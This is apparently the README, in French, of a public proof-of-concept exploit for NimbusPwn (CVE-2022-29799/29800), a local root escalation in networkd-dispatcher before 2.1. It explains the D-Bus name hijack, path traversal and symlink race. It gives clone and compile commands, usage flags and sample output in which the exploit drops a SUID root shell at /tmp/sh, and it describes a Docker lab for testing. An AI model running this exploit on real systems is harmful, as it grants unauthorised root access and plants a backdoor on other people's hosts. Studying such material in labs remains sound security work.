
NimbusPwn (CVE-2022-29799/29800) escalade de privilèges locale PoC en C.
Un PoC en C pour NimbusPwn, une élévation de privilèges locale dans networkd-dispatcher. Un utilisateur non privilégié revendique le nom D-Bus org.freedesktop.network1 et envoie un OperationalState contrefait. Le démon root ne le nettoie pas (CVE-2022-29799, traversée de chemin), et une race condition de lien symbolique sur le répertoire de scripts (CVE-2022-29800, TOCTOU) lui fait exécuter un script placé par l'attaquant en tant que root — déposant un shell SUID root.
Affecté: networkd-dispatcher < 2.1 (corrigé dans 2.1). Linux uniquement. Nécessite le D-Bus système et un nom org.freedesktop.network1 revendicable.
Construire sur Linux (Kali, ou la machine cible). Cela ne se construit ni ne s'exécute sur macOS/Windows.
git clone https://github.com/joshuavanderpoll/NimbusPWN-CVE-2022-29799-29800.git
cd NimbusPWN-CVE-2022-29799-29800
sudo apt install -y gcc libc6-dev libdbus-1-dev pkg-config
cc nimbuspwn.c -o nimbuspwn $(pkg-config --cflags --libs dbus-1)
[!NOTE] Autres distributions :
dnf install gcc dbus-devel pkgconf(Fedora/RHEL) oupacman -S gcc dbus pkgconf(Arch). La ligne de compilation est identique.
Exécuter en tant qu'utilisateur non privilégié sur un hôte vulnérable.
./nimbuspwn [-c] [-s SHELL]
-c, --check vérification de vulnérabilité non destructive, sans exploitation
-s, --shell SHELL shell à copier en SUID et à lancer en tant que root (par défaut /bin/sh)
-h, --help afficher l'aide
Vérifier d'abord (sûr, ne plante rien, jamais de race condition) :
$ ./nimbuspwn --check
[+] owned org.freedesktop.network1
[+] verdict: likely vulnerable (org.freedesktop.network1 is claimable, no privesc tried)
Ensuite, exploiter :
$ ./nimbuspwn
[*] shell=/bin/sh drop=/tmp/sh attempts=10
[+] owned org.freedesktop.network1
[@] attempt 1 (/tmp/nimbuspwn_93732)
[+] planted 126 payloads (root-owned /sbin execs) in /tmp/nimbuspwn_93732
[*] OperationalState: ../../../tmp/nimbuspwn_93732/poc
[*] signal sent (serial 3)
[@] symlink swapped, waiting for root exec
[+] root backdoor at /tmp/sh, spawning shell
# id
uid=1000(pwn) gid=1000(pwn) euid=0(root) groups=1000(pwn)
La race condition est non déterministe, donc il réessaie (10 fois par défaut). Utiliser -s /bin/bash sur les hôtes sans /bin/sh.
Un laboratoire vulnérable autonome (Ubuntu 20.04 + networkd-dispatcher 2.0 vulnérable). Pas de --privileged ni de réseau hôte.
docker compose build
docker compose run --rm nimbuspwn-lab
# à l'intérieur, en tant qu'utilisateur 'pwn':
./nimbuspwn
Le dispatcher 2.0 est intégré dans docker/ donc la construction ne dépend d'aucun téléchargement externe. Log du dispatcher : /var/log/dispatcher.log.
Cet outil est fourni uniquement à des fins éducatives et de recherche. Le créateur décline toute responsabilité en cas d'utilisation abusive ou de dommages causés par l'outil.